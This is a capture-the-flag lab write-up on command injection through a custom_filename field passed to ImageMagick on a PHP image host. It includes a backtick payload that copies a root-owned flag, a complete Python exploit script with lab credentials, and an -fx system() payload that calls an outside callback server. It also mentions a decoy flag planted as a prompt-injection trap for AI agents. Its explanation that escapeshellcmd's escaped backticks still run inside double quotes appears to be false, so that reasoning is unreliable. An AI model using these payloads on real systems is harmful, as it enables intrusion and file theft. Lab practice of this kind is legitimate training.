Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection
Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: backtick_command_substitution_in_double_quotes, decoy_flag_avoidance, escapeshellcmd_bypass, file_copy_to_webroot, imagemagick_fx_option_injection
Summary
Task: Image hosting platform with custom_filename field passed to ImageMagick shell command inside double quotes, protected by escapeshellcmd(). Solution: Backtick command injection in custom_filename bypasses escapeshellcmd() inside double-quoted context, executing cp to copy /root/flag.txt to web-accessible uploads directory.
Lab 39 — PixelVault — RCE via ImageMagick Filename Command Injection — HackAdvisor
Description
PixelVault is a cloud-based image hosting platform by Prism Cloud Inc. Users can upload, organize, and share images through albums. The platform automatically generates thumbnails and optimized versions of uploaded images using a server-side processing pipeline.
You have been given credentials to a standard user account. Explore the platform's features — particularly the image upload and processing pipeline — and find a way to read a sensitive file stored on the server.
English summary: A PHP image hosting platform with ImageMagick v7 for thumbnail generation. The upload form includes a custom_filename field whose value is incorporated into a shell command during image processing. The goal is to achieve RCE and read the flag from the server filesystem.
Analysis
Platform Architecture
- Stack: PHP 8.2.26 on nginx/1.25.5
- Image processing: ImageMagick v7 for automatic thumbnail generation (300x300)
- Credentials: user@test.com / password123
- File storage: Uploads at
/app/data/uploads/, thumbnails at/app/data/thumbnails/ - Web paths:
/uploads/and/thumbnails/serve files from the data directories
Upload Form Fields
The upload form at /upload has three fields:
image— file input (JPEG, PNG, GIF only; content-type validated, SVG/MVG rejected)custom_filename— text input for display name override (the vulnerable parameter)album_id— album selector
Decoy Flag (Honeypot)
The HTML source on every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in comments and hidden divs — a prompt injection honeypot designed to trick AI agents and automated scanners. This was correctly identified and ignored.
Vulnerability: Backtick Injection via escapeshellcmd() Bypass
The server constructs a shell command for thumbnail generation that includes the custom_filename value inside double quotes:
bash read-only • copy allowedmagick convert input.jpg -resize 300x300 ... "CUSTOM_FILENAME" ...
The server applies PHP's escapeshellcmd() to the custom_filename. This function escapes characters like ;, |, $, (, ), &, etc. However, the critical weakness is how backticks interact with this escaping:
escapeshellcmd()escapes backticks to ``` (backslash-backtick)- Inside double quotes in bash, ``` is still interpreted as a backtick — the backslash is consumed as an escape character for the backtick, but the backtick still triggers command substitution
- In contrast,
$()is properly neutralized because\$()means literal$(no expansion)
This is a well-known escapeshellcmd() vs escapeshellarg() security gap. The function was designed to sanitize entire commands, not individual arguments placed inside quotes.
Solution
Step 1: Craft the Payload
The payload uses backticks to inject a cp command that copies the flag file to the web-accessible uploads directory:
photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg
When placed inside the double-quoted context of the shell command, this becomes:
bash read-only • copy allowedmagick convert input.jpg -resize 300x300 ... "photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg" ...
Bash interprets the backticks inside double quotes, executing cp /root/flag.txt /app/data/uploads/flag.txt before the rest of the command.
Step 2: Upload with the Malicious custom_filename
python read-only • copy allowed#!/usr/bin/env python3 """PixelVault - RCE via backtick injection in custom_filename""" import requests from PIL import Image import io BASE_URL = "https://e2f24cb5-c430-4bbd-8aa5-31dfccd03cc9.labs.hackadvisor.io" # Login session = requests.Session() session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) # Create a valid JPEG image img = Image.new('RGB', (100, 100), color='red') buf = io.BytesIO() img.save(buf, format='JPEG') buf.seek(0) # Upload with backtick-injected custom_filename r = session.post(f"{BASE_URL}/upload", files={ "image": ("test.jpg", buf, "image/jpeg") }, data={ "custom_filename": "photo`cp /root/flag.txt /app/data/uploads/flag.txt`.jpg" }, allow_redirects=True) print(r.text) # "Image uploaded and processed successfully."
Step 3: Retrieve the Flag
bash read-only • copy allowedcurl https://e2f24cb5-c430-4bbd-8aa5-31dfccd03cc9.labs.hackadvisor.io/uploads/flag.txt # FLAG{REDACTED}
Alternative Exploitation Path: ImageMagick -fx Option Injection
Since custom_filename is appended to the magick command, ImageMagick CLI options can also be injected. The -fx option evaluates expressions including system():
python read-only • copy allowedpayload = "output.jpg -fx 'debug(system(\"curl http://interact/UUID/callback\"))'" session.post(f"{BASE_URL}/upload", files={ "image": ("test.jpg", buf, "image/jpeg") }, data={"custom_filename": payload})
This was confirmed working via Interaction Server callbacks. However, data exfiltration was harder because escapeshellcmd() prevents $() expansion needed to embed file contents in URLs. The backtick + cp approach was simpler and more reliable.
What Did NOT Work
| Attempt | Result |
|---|---|
Shell injection with ;, |, &&, || in custom_filename | Escaped by escapeshellcmd() |
$() command substitution | escapeshellcmd() turns $ into \$ — literal in bash |
ImageMagick pipe delegate (|command as filename) | Not used as direct IM input/output filename |
| MVG/SVG content with .jpg extension | Content-type validation rejects non-image content |
| SQL injection in gallery search or custom_filename | Parameterized queries, no injection |
Path traversal in URLs (../../../etc/passwd) | nginx blocks encoded traversal |
| Multipart filename injection | PHP sanitizes the original upload filename before use |
Writing to /var/www/html/ paths | Wrong web root — actual web root serves from /app/data/ |
-write option injection with pipe | escapeshellcmd() escapes the pipe character |
| |